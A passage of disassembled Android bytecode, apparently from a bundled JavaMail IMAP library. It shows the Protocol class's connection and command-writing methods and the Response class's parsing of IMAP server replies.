000000B0  move-result-object      v3
000000B2  goto                    :70
:B4
000000B4  move-exception          v3
000000B6  goto                    :1A
:B8
000000B8  move-exception          v0
000000BA  monitor-exit            p0
000000BC  throw                   v0
          .catchall {:4 .. :E} :B8
          .catch LiteralException {:12 .. :18} :40
          .catch Exception {:12 .. :18} :54
          .catchall {:12 .. :18} :B8
          .catchall {:1E .. :3C} :B8
          .catchall {:42 .. :64} :B8
          .catch IOException {:68 .. :6E} :A8
          .catch ProtocolException {:68 .. :6E} :B4
          .catchall {:68 .. :6E} :B8
          .catchall {:70 .. :B0} :B8
.end method

.method protected declared-synchronized disconnect()V
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Protocol->socket:Socket
:6
00000006  if-eqz                  v0, :1A
:A
0000000A  iget-object             v0, p0, Protocol->socket:Socket
0000000E  invoke-virtual          Socket->close()V, v0
:14
00000014  const/4                 v0, 0x0
:16
00000016  iput-object             v0, p0, Protocol->socket:Socket
:1A
0000001A  monitor-exit            p0
0000001C  return-void
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
:24
00000024  move-exception          v0
00000026  goto                    :14
          .catchall {:2 .. :6} :1E
          .catch IOException {:A .. :14} :24
          .catchall {:A .. :14} :1E
          .catchall {:16 .. :1A} :1E
.end method

.method protected finalize()V
          .registers 1
00000000  invoke-super            Object->finalize()V, p0
00000006  invoke-virtual          Protocol->disconnect()V, p0
0000000C  return-void
.end method

.method protected getInputStream()ResponseInputStream
          .registers 2
00000000  iget-object             v0, p0, Protocol->input:ResponseInputStream
00000004  return-object           v0
.end method

.method protected getOutputStream()OutputStream
          .registers 2
00000000  iget-object             v0, p0, Protocol->output:DataOutputStream
00000004  return-object           v0
.end method

.method protected getResponseBuffer()ByteArray
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public getTimestamp()J
          .registers 3
00000000  iget-wide               v0, p0, Protocol->timestamp:J
00000004  return-wide             v0
.end method

.method public handleResult(Response)V
          .registers 3
00000000  invoke-virtual          Response->isOK()Z, p1
00000006  move-result             v0
00000008  if-eqz                  v0, :E
:C
0000000C  return-void
:E
0000000E  invoke-virtual          Response->isNO()Z, p1
00000014  move-result             v0
00000016  if-eqz                  v0, :26
:1A
0000001A  new-instance            v0, CommandFailedException
0000001E  invoke-direct           CommandFailedException-><init>(Response)V, v0, p1
00000024  throw                   v0
:26
00000026  invoke-virtual          Response->isBAD()Z, p1
0000002C  move-result             v0
0000002E  if-eqz                  v0, :3E
:32
00000032  new-instance            v0, BadCommandException
00000036  invoke-direct           BadCommandException-><init>(Response)V, v0, p1
0000003C  throw                   v0
:3E
0000003E  invoke-virtual          Response->isBYE()Z, p1
00000044  move-result             v0
00000046  if-eqz                  v0, :C
:4A
0000004A  invoke-virtual          Protocol->disconnect()V, p0
00000050  new-instance            v0, ConnectionException
00000054  invoke-direct           ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
0000005A  throw                   v0
.end method

.method public notifyResponseHandlers([Response)V
          .registers 9
00000000  const/4                 v2, 0x0
00000002  iget-object             v0, p0, Protocol->handlers:Vector
00000006  if-nez                  v0, :C
:A
0000000A  return-void
:C
0000000C  move                    v1, v2
:E
0000000E  array-length            v0, p1
00000010  if-ge                   v1, v0, :A
:14
00000014  aget-object             v4, p1, v1
00000018  if-nez                  v4, :24
:1C
0000001C  add-int/lit8            v0, v1, 0x1
00000020  move                    v1, v0
00000022  goto                    :E
:24
00000024  iget-object             v0, p0, Protocol->handlers:Vector
00000028  invoke-virtual          Vector->size()I, v0
0000002E  move-result             v5
00000030  if-eqz                  v5, :A
:34
00000034  new-array               v6, v5, [Object
00000038  iget-object             v0, p0, Protocol->handlers:Vector
0000003C  invoke-virtual          Vector->copyInto([Object)V, v0, v6
00000042  move                    v3, v2
:44
00000044  if-ge                   v3, v5, :1C
:48
00000048  aget-object             v0, v6, v3
0000004C  check-cast              v0, ResponseHandler
00000050  invoke-interface        ResponseHandler->handleResponse(Response)V, v0, v4
00000056  add-int/lit8            v0, v3, 0x1
0000005A  move                    v3, v0
0000005C  goto                    :44
.end method

.method protected processGreeting(Response)V
          .registers 3
00000000  invoke-virtual          Response->isBYE()Z, p1
00000006  move-result             v0
00000008  if-eqz                  v0, :18
:C
0000000C  new-instance            v0, ConnectionException
00000010  invoke-direct           ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
00000016  throw                   v0
:18
00000018  return-void
.end method

.method public readResponse()Response
          .registers 2
00000000  new-instance            v0, Response
00000004  invoke-direct           Response-><init>(Protocol)V, v0, p0
0000000A  return-object           v0
.end method

.method public declared-synchronized removeResponseHandler(ResponseHandler)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Protocol->handlers:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Protocol->handlers:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public simpleCommand(String, Argument)V
          .registers 5
00000000  invoke-virtual          Protocol->command(String, Argument)[Response, p0, p1, p2
00000006  move-result-object      v0
00000008  invoke-virtual          Protocol->notifyResponseHandlers([Response)V, p0, v0
0000000E  array-length            v1, v0
00000010  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000014  aget-object             v0, v0, v1
00000018  invoke-virtual          Protocol->handleResult(Response)V, p0, v0
0000001E  return-void
.end method

.method public declared-synchronized startTLS(String)V
          .registers 5
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-virtual          Protocol->simpleCommand(String, Argument)V, p0, p1, v0
0000000A  iget-object             v0, p0, Protocol->socket:Socket
0000000E  iget-object             v1, p0, Protocol->props:Properties
00000012  iget-object             v2, p0, Protocol->prefix:String
00000016  invoke-static           SocketFetcher->startTLS(Socket, Properties, String)Socket, v0, v1, v2
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, Protocol->socket:Socket
00000022  iget-object             v0, p0, Protocol->out:PrintStream
00000026  invoke-direct           Protocol->initStreams(PrintStream)V, p0, v0
:2C
0000002C  monitor-exit            p0
0000002E  return-void
:30
00000030  move-exception          v0
00000032  monitor-exit            p0
00000034  throw                   v0
          .catchall {:4 .. :2C} :30
.end method

.method protected declared-synchronized supportsNonSyncLiterals()Z
          .registers 2
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
00000004  monitor-exit            p0
00000006  return                  v0
.end method

.method public writeCommand(String, Argument)String
          .registers 7
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "A"
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  iget                    v1, p0, Protocol->tagCounter:I
00000012  add-int/lit8            v2, v1, 0x1
00000016  iput                    v2, p0, Protocol->tagCounter:I
0000001A  const/16                v2, 0xA
0000001E  invoke-static           Integer->toString(I, I)String, v1, v2
00000024  move-result-object      v1
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  iget-object             v1, p0, Protocol->output:DataOutputStream
0000003A  new-instance            v2, StringBuilder
0000003E  invoke-static           String->valueOf(Object)String, v0
00000044  move-result-object      v3
00000046  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000004C  const-string            v3, " "
00000050  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000056  move-result-object      v2
00000058  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
0000005E  move-result-object      v2
00000060  invoke-virtual          StringBuilder->toString()String, v2
00000066  move-result-object      v2
00000068  invoke-virtual          DataOutputStream->writeBytes(String)V, v1, v2
0000006E  if-eqz                  p2, :86
:72
00000072  iget-object             v1, p0, Protocol->output:DataOutputStream
00000076  const/16                v2, 0x20
0000007A  invoke-virtual          DataOutputStream->write(I)V, v1, v2
00000080  invoke-virtual          Argument->write(Protocol)V, p2, p0
:86
00000086  iget-object             v1, p0, Protocol->output:DataOutputStream
0000008A  sget-object             v2, Protocol->CRLF:[B
0000008E  invoke-virtual          DataOutputStream->write([B)V, v1, v2
00000094  iget-object             v1, p0, Protocol->output:DataOutputStream
00000098  invoke-virtual          DataOutputStream->flush()V, v1
0000009E  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Response
.super Object
.source ""

.field public static final BAD:I = 0xC
.field public static final BYE:I = 0x10
.field public static final CONTINUATION:I = 0x1
.field public static final NO:I = 0x8
.field public static final OK:I = 0x4
.field public static final SYNTHETIC:I = 0x20
.field public static final TAGGED:I = 0x2
.field public static final TAG_MASK:I = 0x3
.field public static final TYPE_MASK:I = 0x1C
.field public static final UNTAGGED:I = 0x3
.field private static final increment:I = 0x64
.field protected buffer:[B
.field protected index:I
.field protected pindex:I
.field protected size:I
.field protected tag:String
.field protected type:I

.method public constructor <init>(Protocol)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, Response->buffer:[B
0000000C  const/4                 v0, 0x0
0000000E  iput                    v0, p0, Response->type:I
00000012  iput-object             v1, p0, Response->tag:String
00000016  invoke-virtual          Protocol->getResponseBuffer()ByteArray, p1
0000001C  move-result-object      v0
0000001E  invoke-virtual          Protocol->getInputStream()ResponseInputStream, p1
00000024  move-result-object      v1
00000026  invoke-virtual          ResponseInputStream->readResponse(ByteArray)ByteArray, v1, v0
0000002C  move-result-object      v0
0000002E  invoke-virtual          ByteArray->getBytes()[B, v0
00000034  move-result-object      v1
00000036  iput-object             v1, p0, Response->buffer:[B
0000003A  invoke-virtual          ByteArray->getCount()I, v0
00000040  move-result             v0
00000042  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFE
00000046  iput                    v0, p0, Response->size:I
0000004A  invoke-direct           Response->parse()V, p0
00000050  return-void
.end method

.method public constructor <init>(Response)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, Response->buffer:[B
0000000C  const/4                 v0, 0x0
0000000E  iput                    v0, p0, Response->type:I
00000012  iput-object             v1, p0, Response->tag:String
00000016  iget                    v0, p1, Response->index:I
0000001A  iput                    v0, p0, Response->index:I
0000001E  iget                    v0, p1, Response->size:I
00000022  iput                    v0, p0, Response->size:I
00000026  iget-object             v0, p1, Response->buffer:[B
0000002A  iput-object             v0, p0, Response->buffer:[B
0000002E  iget                    v0, p1, Response->type:I
00000032  iput                    v0, p0, Response->type:I
00000036  iget-object             v0, p1, Response->tag:String
0000003A  iput-object             v0, p0, Response->tag:String
0000003E  return-void
.end method

.method public constructor <init>(String)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, Response->buffer:[B
0000000C  const/4                 v0, 0x0
0000000E  iput                    v0, p0, Response->type:I
00000012  iput-object             v1, p0, Response->tag:String
00000016  invoke-static           ASCIIUtility->getBytes(String)[B, p1
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, Response->buffer:[B
00000022  iget-object             v0, p0, Response->buffer:[B
00000026  array-length            v0, v0
00000028  iput                    v0, p0, Response->size:I
0000002C  invoke-direct           Response->parse()V, p0
00000032  return-void
.end method

.method public static byeResponse(Exception)Response
          .registers 4
00000000  const/16                v2, 0x20
00000004  new-instance            v0, StringBuilder
00000008  const-string            v1, "* BYE JavaMail Exception: "
0000000C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000012  invoke-virtual          Exception->toString()String, p0
00000018  move-result-object      v1
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000020  move-result-object      v0
00000022  invoke-virtual          StringBuilder->toString()String, v0
00000028  move-result-object      v0
0000002A  const/16                v1, 0xD
0000002E  invoke-virtual          String->replace(C, C)String, v0, v1, v2
00000034  move-result-object      v0
00000036  const/16                v1, 0xA
0000003A  invoke-virtual          String->replace(C, C)String, v0, v1, v2
00000040  move-result-object      v0
00000042  new-instance            v1, Response
00000046  invoke-direct           Response-><init>(String)V, v1, v0
0000004C  iget                    v0, v1, Response->type:I
00000050  or-int/lit8             v0, v0, 0x20
00000054  iput                    v0, v1, Response->type:I
00000058  return-object           v1
.end method

.method private parse()V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  iput                    v0, p0, Response->index:I
00000006  iget-object             v0, p0, Response->buffer:[B
0000000A  iget                    v1, p0, Response->index:I
0000000E  aget-byte               v0, v0, v1
00000012  const/16                v1, 0x2B
00000016  if-ne                   v0, v1, :34
:1A
0000001A  iget                    v0, p0, Response->type:I
0000001E  or-int/lit8             v0, v0, 0x1
00000022  iput                    v0, p0, Response->type:I
00000026  iget                    v0, p0, Response->index:I
0000002A  add-int/lit8            v0, v0, 0x1
0000002E  iput                    v0, p0, Response->index:I
:32
00000032  return-void
:34
00000034  iget-object             v0, p0, Response->buffer:[B
00000038  iget                    v1, p0, Response->index:I
0000003C  aget-byte               v0, v0, v1
00000040  const/16                v1, 0x2A
00000044  if-ne                   v0, v1, :9A
:48
00000048  iget                    v0, p0, Response->type:I
0000004C  or-int/lit8             v0, v0, 0x3
00000050  iput                    v0, p0, Response->type:I
00000054  iget                    v0, p0, Response->index:I
00000058  add-int/lit8            v0, v0, 0x1
0000005C  iput                    v0, p0, Response->index:I
:60
00000060  iget                    v1, p0, Response->index:I
00000064  invoke-virtual          Response->readAtom()String, p0
0000006A  move-result-object      v0
0000006C  if-nez                  v0, :74
:70
00000070  const-string            v0, ""
:74
00000074  const-string            v2, "OK"
00000078  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v2
0000007E  move-result             v2
00000080  if-eqz                  v2, :B4
:84
00000084  iget                    v0, p0, Response->type:I
00000088  or-int/lit8             v0, v0, 0x4
0000008C  iput                    v0, p0, Response->type:I
:90
00000090  iget                    v0, p0, Response->index:I
00000094  iput                    v0, p0, Response->pindex:I
00000098  goto                    :32
:9A
0000009A  iget                    v0, p0, Response->type:I
0000009E  or-int/lit8             v0, v0, 0x2
000000A2  iput                    v0, p0, Response->type:I
000000A6  invoke-virtual          Response->readAtom()String, p0
000000AC  move-result-object      v0
000000AE  iput-object             v0, p0, Response->tag:String
000000B2  goto                    :60
:B4
000000B4  const-string            v2, "NO"
000000B8  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v2
000000BE  move-result             v2
000000C0  if-eqz                  v2, :D2
:C4
000000C4  iget                    v0, p0, Response->type:I
000000C8  or-int/lit8             v0, v0, 0x8
000000CC  iput                    v0, p0, Response->type:I
000000D0  goto                    :90
:D2
000000D2  const-string            v2, "BAD"
000000D6  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v2
000000DC  move-result             v2
000000DE  if-eqz                  v2, :F0
:E2
000000E2  iget                    v0, p0, Response->type:I
000000E6  or-int/lit8             v0, v0, 0xC
000000EA  iput                    v0, p0, Response->type:I
000000EE  goto                    :90
:F0
000000F0  const-string            v2, "BYE"
000000F4  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v2
000000FA  move-result             v0
000000FC  if-eqz                  v0, :10E
:100
00000100  iget                    v0, p0, Response->type:I
00000104  or-int/lit8             v0, v0, 0x10
00000108  iput                    v0, p0, Response->type:I
0000010C  goto                    :90
:10E
0000010E  iput                    v1, p0, Response->index:I
00000112  goto                    :90
.end method

.method private parseString(Z, Z)Object
          .registers 9
00000000  const/16                v5, 0x22
00000004  const/4                 v0, 0x0
00000006  invoke-virtual          Response->skipSpaces()V, p0
0000000C  iget-object             v1, p0, Response->buffer:[B
00000010  iget                    v2, p0, Response->index:I
00000014  aget-byte               v1, v1, v2
00000018  if-ne                   v1, v5, :B4
:1C
0000001C  iget                    v0, p0, Response->index:I
00000020  add-int/lit8            v0, v0, 0x1
00000024  iput                    v0, p0, Response->index:I
00000028  iget                    v2, p0, Response->index:I
0000002C  iget                    v0, p0, Response->index:I
:30
00000030  iget-object             v1, p0, Response->buffer:[B
00000034  iget                    v3, p0, Response->index:I
00000038  aget-byte               v1, v1, v3
0000003C  if-ne                   v1, v5, :5E
:40
00000040  iget                    v1, p0, Response->index:I
00000044  add-int/lit8            v1, v1, 0x1
00000048  iput                    v1, p0, Response->index:I
0000004C  if-eqz                  p2, :A0
:50
00000050  iget-object             v1, p0, Response->buffer:[B
00000054  invoke-static           ASCIIUtility->toString([B, I, I)String, v1, v2, v0
0000005A  move-result-object      v0
:5C
0000005C  return-object           v0
:5E
0000005E  const/16                v3, 0x5C
00000062  if-ne                   v1, v3, :72
:66
00000066  iget                    v1, p0, Response->index:I
0000006A  add-int/lit8            v1, v1, 0x1
0000006E  iput                    v1, p0, Response->index:I
:72
00000072  iget                    v1, p0, Response->index:I
00000076  if-eq                   v1, v0, :8E
:7A
0000007A  iget-object             v1, p0, Response->buffer:[B
0000007E  iget-object             v3, p0, Response->buffer:[B
00000082  iget                    v4, p0, Response->index:I
00000086  aget-byte               v3, v3, v4
0000008A  aput-byte               v3, v1, v0
:8E
0000008E  add-int/lit8            v0, v0, 0x1
00000092  iget                    v1, p0, Response->index:I
00000096  add-int/lit8            v1, v1, 0x1
0000009A  iput                    v1, p0, Response->index:I
0000009E  goto                    :30
:A0
000000A0  new-instance            v1, ByteArray
000000A4  iget-object             v3, p0, Response->buffer:[B
000000A8  sub-int/2addr           v0, v2
000000AA  invoke-direct           ByteArray-><init>([B, I, I)V, v1, v3, v2, v0
000000B0  move-object             v0, v1
000000B2  goto                    :5C
:B4
000000B4  const/16                v2, 0x7B
000000B8  if-ne                   v1, v2, :12E
:BC
000000BC  iget                    v1, p0, Response->index:I
000000C0  add-int/lit8            v1, v1, 0x1
000000C4  iput                    v1, p0, Response->index:I
:C8
000000C8  iget-object             v2, p0, Response->buffer:[B
000000CC  iget                    v3, p0, Response->index:I
000000D0  aget-byte               v2, v2, v3
000000D4  const/16                v3, 0x7D
000000D8  if-ne                   v2, v3, :110
:DC
000000DC  iget-object             v2, p0, Response->buffer:[B
000000E0  iget                    v3, p0, Response->index:I
000000E4  invoke-static           ASCIIUtility->parseInt([B, I, I)I, v2, v1, v3
:EA
000000EA  move-result             v1
000000EC  iget                    v0, p0, Response->index:I
000000F0  add-int/lit8            v2, v0, 0x3
000000F4  add-int                 v0, v2, v1
000000F8  iput                    v0, p0, Response->index:I
000000FC  if-eqz                  p2, :11E
:100
00000100  iget-object             v0, p0, Response->buffer:[B
00000104  add-int/2addr           v1, v2
00000106  invoke-static           ASCIIUtility->toString([B, I, I)String, v0, v2, v1
0000010C  move-result-object      v0
0000010E  goto                    :5C
:110
00000110  iget                    v2, p0, Response->index:I
00000114  add-int/lit8            v2, v2, 0x1
00000118  iput                    v2, p0, Response->index:I
0000011C  goto                    :C8
:11E
0000011E  new-instance            v0, ByteArray
00000122  iget-object             v3, p0, Response->buffer:[B
00000126  invoke-direct           ByteArray-><init>([B, I, I)V, v0, v3, v2, v1
0000012C  goto                    :5C
:12E
0000012E  if-eqz                  p1, :156
:132
00000132  iget                    v1, p0, Response->index:I
00000136  invoke-virtual          Response->readAtom()String, p0
0000013C  move-result-object      v0
0000013E  if-nez                  p2, :5C
:142
00000142  new-instance            v0, ByteArray
00000146  iget-object             v2, p0, Response->buffer:[B
0000014A  iget                    v3, p0, Response->index:I
0000014E  invoke-direct           ByteArray-><init>([B, I, I)V, v0, v2, v1, v3
00000154  goto                    :5C
:156
00000156  const/16                v2, 0x4E
0000015A  if-eq                   v1, v2, :166
:15E
0000015E  const/16                v2, 0x6E
00000162  if-ne                   v1, v2, :5C
:166
00000166  iget                    v1, p0, Response->index:I
0000016A  add-int/lit8            v1, v1, 0x3
0000016E  iput                    v1, p0, Response->index:I
00000172  goto/16                 :5C
:176
00000176  move-exception          v1
00000178  goto/16                 :5C
          .catch NumberFormatException {:DC .. :EA} :176
.end method

.method public getRest()String
          .registers 4
00000000  invoke-virtual          Response->skipSpaces()V, p0
00000006  iget-object             v0, p0, Response->buffer:[B
0000000A  iget                    v1, p0, Response->index:I
0000000E  iget                    v2, p0, Response->size:I
00000012  invoke-static           ASCIIUtility->toString([B, I, I)String, v0, v1, v2
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getTag()String
          .registers 2
00000000  iget-object             v0, p0, Response->tag:String
00000004  return-object           v0
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, Response->type:I
00000004  return                  v0
.end method

.method public isBAD()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x1C
00000008  const/16                v1, 0xC
0000000C  if-ne                   v0, v1, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method public isBYE()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x1C
00000008  const/16                v1, 0x10
0000000C  if-ne                   v0, v1, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method public isContinuation()Z
          .registers 3
00000000  const/4                 v0, 0x1
00000002  iget                    v1, p0, Response->type:I
00000006  and-int/lit8            v1, v1, 0x3
0000000A  if-ne                   v1, v0, :10
:E
0000000E  return                  v0
:10
00000010  const/4                 v0, 0x0
00000012  goto                    :E
.end method

.method public isNO()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x1C
00000008  const/16                v1, 0x8
0000000C  if-ne                   v0, v1, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method public isOK()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x1C
00000008  const/4                 v1, 0x4
0000000A  if-ne                   v0, v1, :12
:E
0000000E  const/4                 v0, 0x1
:10
00000010  return                  v0
:12
00000012  const/4                 v0, 0x0
00000014  goto                    :10
.end method

.method public isSynthetic()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x20
00000008  const/16                v1, 0x20
0000000C  if-ne                   v0, v1, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method public isTagged()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x3
00000008  const/4                 v1, 0x2
0000000A  if-ne                   v0, v1, :12
:E
0000000E  const/4                 v0, 0x1
:10
00000010  return                  v0
:12
00000012  const/4                 v0, 0x0
00000014  goto                    :10
.end method

.method public isUnTagged()Z
          .registers 3
00000000  iget                    v0, p0, Response->type:I
00000004  and-int/lit8            v0, v0, 0x3
00000008  const/4                 v1, 0x3
0000000A  if-ne                   v0, v1, :12
:E
0000000E  const/4                 v0, 0x1
:10
00000010  return                  v0
:12
00000012  const/4                 v0, 0x0
00000014  goto                    :10
.end method

.method public peekByte()B
          .registers 3
00000000  iget                    v0, p0, Response->index:I
00000004  iget                    v1, p0, Response->size:I
00000008  if-ge                   v0, v1, :1A
:C
0000000C  iget-object             v0, p0, Response->buffer:[B
00000010  iget                    v1, p0, Response->index:I
00000014  aget-byte               v0, v0, v1
:18
00000018  return                  v0
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :18
.end method

.method public readAtom()String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          Response->readAtom(C)String, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public readAtom(C)String
          .registers 5
00000000  invoke-virtual          Response->skipSpaces()V, p0
00000006  iget                    v0, p0, Response->index:I
0000000A  iget                    v1, p0, Response->size:I
0000000E  if-lt                   v0, v1, :16
:12
00000012  const/4                 v0, 0x0
:14
00000014  return-object           v0
:16
00000016  iget                    v0, p0, Response->index:I
:1A
0000001A  iget                    v1, p0, Response->index:I
0000001E  iget                    v2, p0, Response->size:I
00000022  if-ge                   v1, v2, :7A
:26
00000026  iget-object             v1, p0, Response->buffer:[B
0000002A  iget                    v2, p0, Response->index:I
0000002E  aget-byte               v1, v1, v2
00000032  const/16                v2, 0x20
00000036  if-le                   v1, v2, :7A
:3A
0000003A  const/16                v2, 0x28
0000003E  if-eq                   v1, v2, :7A
:42
00000042  const/16                v2, 0x29
00000046  if-eq                   v1, v2, :7A
:4A
0000004A  const/16                v2, 0x25
0000004E  if-eq                   v1, v2, :7A
:52
00000052  const/16                v2, 0x2A
00000056  if-eq                   v1, v2, :7A
:5A
0000005A  const/16                v2, 0x22
0000005E  if-eq                   v1, v2, :7A
:62
00000062  const/16                v2, 0x5C
00000066  if-eq                   v1, v2, :7A
:6A
0000006A  const/16                v2, 0x7F
0000006E  if-eq                   v1, v2, :7A
:72
00000072  if-eqz                  p1, :8C
:76
00000076  if-ne                   v1, p1, :8C
:7A
0000007A  iget-object             v1, p0, Response->buffer:[B
0000007E  iget                    v2, p0, Response->index:I
00000082  invoke-static           ASCIIUtility->toString([B, I, I)String, v1, v0, v2
00000088  move-result-object      v0
0000008A  goto                    :14
:8C
0000008C  iget                    v1, p0, Response->index:I
00000090  add-int/lit8            v1, v1, 0x1
00000094  iput                    v1, p0, Response->index:I
00000098  goto                    :1A
.end method

.method public readAtomString()String
          .registers 2
00000000  const/4                 v0, 0x1
00000002  invoke-direct           Response->parseString(Z, Z)Object, p0, v0, v0
00000008  move-result-object      v0
0000000A  check-cast              v0, String
0000000E  return-object           v0
.end method

.method public readByte()B
          .registers 4
00000000  iget                    v0, p0, Response->index:I
00000004  iget                    v1, p0, Response->size:I
00000008  if-ge                   v0, v1, :22
:C
0000000C  iget-object             v0, p0, Response->buffer:[B
00000010  iget                    v1, p0, Response->index:I
00000014  add-int/lit8            v2, v1, 0x1
00000018  iput                    v2, p0, Response->index:I
0000001C  aget-byte               v0, v0, v1
:20
00000020  return                  v0
:22
00000022  const/4                 v0, 0x0
00000024  goto                    :20
.end method

.method public readByteArray()ByteArray
          .registers 6
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          Response->isContinuation()Z, p0
00000008  move-result             v0
0000000A  if-eqz                  v0, :32
:E
0000000E  invoke-virtual          Response->skipSpaces()V, p0
00000014  new-instance            v0, ByteArray
00000018  iget-object             v1, p0, Response->buffer:[B
0000001C  iget                    v2, p0, Response->index:I
00000020  iget                    v3, p0, Response->size:I
00000024  iget                    v4, p0, Response->index:I
00000028  sub-int/2addr           v3, v4
0000002A  invoke-direct           ByteArray-><init>([B, I, I)V, v0, v1, v2, v3
:30
00000030  return-object           v0
:32
00000032  invoke-direct           Response->parseString(Z, Z)Object, p0, v1, v1
00000038  move-result-object      v0
0000003A  check-cast              v0, ByteArray
0000003E  goto                    :30
.end method

.method public readBytes()ByteArrayInputStream
          .registers 2
00000000  invoke-virtual          Response->readByteArray()ByteArray, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :16
:C
0000000C  invoke-virtual          ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public readLong()J
          .registers 4
00000000  invoke-virtual          Response->skipSpaces()V, p0
00000006  iget                    v0, p0, Response->index:I
:A
0000000A  iget                    v1, p0, Response->index:I
0000000E  iget                    v2, p0, Response->size:I
00000012  if-ge                   v1, v2, :30
:16
00000016  iget-object             v1, p0, Response->buffer:[B
0000001A  iget                    v2, p0, Response->index:I
0000001E  aget-byte               v1, v1, v2
00000022  int-to-char             v1, v1
00000024  invoke-static           Character->isDigit(C)Z, v1
0000002A  move-result             v1
0000002C  if-nez                  v1, :4A
:30
00000030  iget                    v1, p0, Response->index:I
00000034  if-le                   v1, v0, :5A
:38
00000038  iget-object             v1, p0, Response->buffer:[B
0000003C  iget                    v2, p0, Response->index:I
00000040  invoke-static           ASCIIUtility->parseLong([B, I, I)J, v1, v0, v2
:46
00000046  move-result-wide        v0
:48
00000048  return-wide             v0
:4A
0000004A  iget                    v1, p0, Response->index:I
0000004E  add-int/lit8            v1, v1, 0x1
00000052  iput                    v1, p0, Response->index:I
00000056  goto                    :A
:58
00000058  move-exception          v0
:5A
0000005A  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
0000005E  goto                    :48
          .catch NumberFormatException {:38 .. :46} :58
.end method

.method public readNumber()I
          .registers 4
00000000  invoke-virtual          Response->skipSpaces()V, p0
00000006  iget                    v0, p0, Response->index:I
:A
0000000A  iget                    v1, p0, Response->index:I
0000000E  iget                    v2, p0, Response->size:I
00000012  if-ge                   v1, v2, :30
:16
00000016  iget-object             v1, p0, Response->buffer:[B
0000001A  iget                    v2, p0, Response->index:I
0000001E  aget-byte               v1, v1, v2
00000022  int-to-char             v1, v1
00000024  invoke-static           Character->isDigit(C)Z, v1
0000002A  move-result             v1
0000002C  if-nez                  v1, :4A
:30
00000030  iget                    v1, p0, Response->index:I
00000034  if-le                   v1, v0, :5A
:38
00000038  iget-object             v1, p0, Response->buffer:[B
0000003C  iget                    v2, p0, Response->index:I
00000040  invoke-static           ASCIIUtility->parseInt([B, I, I)I, v1, v0, v2
:46
00000046  move-result             v0
:48
00000048  return                  v0
:4A
0000004A  iget                    v1, p0, Response->index:I
0000004E  add-int/lit8            v1, v1, 0x1
00000052  iput                    v1, p0, Response->index:I
00000056  goto                    :A
:58
00000058  move-exception          v0
:5A
0000005A  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000005C  goto                    :48
